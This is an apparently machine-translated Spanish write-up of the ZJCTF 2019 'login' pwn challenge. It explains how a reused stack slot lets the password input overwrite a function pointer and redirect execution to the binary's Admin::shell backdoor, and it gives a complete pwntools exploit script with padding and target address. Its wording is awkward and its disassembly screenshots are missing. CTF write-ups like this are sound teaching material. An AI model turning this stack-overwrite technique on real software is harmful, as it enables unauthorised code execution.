ZJCTF 2019 Pwn

Iniciar sesión

Sobre el costo de no aprender la pila, la vi durante mucho tiempo, y finalmente le pregunté al maestro de KMFL, rompí el sueño en una palabra, mi base es realmente muy mala.

El programa de análisis es un desensamblaje de C ++, pero tiene poco efecto. El primero es el nombre de usuario 'admin'y la contraseña pasados ​​a Admin, y '2jctf_pa5sw0rd'luego se nos pide que ingresemos el nombre de usuario y la contraseña, que no parece requerir el nombre, pero verificaremos la contraseña.

Intento entrar así:

Sin embargo, se produjo una falla de seguridad en el programa. La depuración de rastreo puede encontrar que hay call raxun problema en la última función :

Mira el código de desmontaje:

Se puede encontrar que el primer parámetro a1 es un puntero a un puntero y se **aejecuta como una función. Observar el código de ensamblaje es más intuitivo:

Entonces, veamos si el primer parámetro pasado puede ser controlado por nosotros:

Nota: [rbp + var_130] en la instrucción mov y la instrucción lea aquí es el direccionamiento indirecto del registro, y se toma la dirección

Por lo tanto, el parámetro que pasamos es [rbp+var_130]la dirección, luego lo que ejecutamos es rbp+var_130el contenido almacenado, puede ver que [rbp+var_130]está asignado a rax arriba . Siga la password_checker()función para ver qué es rax:

Parece que nuestro rax es [rbp+var_18], así que al final solo necesitamos controlar [rbp+var_18]el contenido de la función de puerta trasera Admin :: Shell ().

Como todas las funciones aquí se main()invocan en la función, después de que la función se desapila, la password_checker()función se desapila read_password()en la misma posición (las funciones llamadas se desapilan en la misma posición). Entonces podemos sobrescribirlo al ingresar la contraseña [rbp+var_18]:

exp es como sigue:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='login'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote()
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'\x00'))

#z('b *0x400A13\n')
sla("Please enter username: ",'admin')
pd='2jctf_pa5sw0rd'+'\x00'*58+p64(0x400E88)
sla("Please enter password: ",pd)
p.interactive()

Aquí también debe prestar atención a la snprintf()función aquí :

Se puede ver que la s en esta función es la read_password()misma que la posición en la función, es decir, en la misma posición en la pila. Si la cadena de formato es demasiado larga, puede dañar nuestra estructura organizada. %sEl \x00truncamiento utilizado aquí está bien ~

Supongo que te gusta

Origin www.cnblogs.com/Theffth-blog/p/12674951.html
Recomendado
Clasificación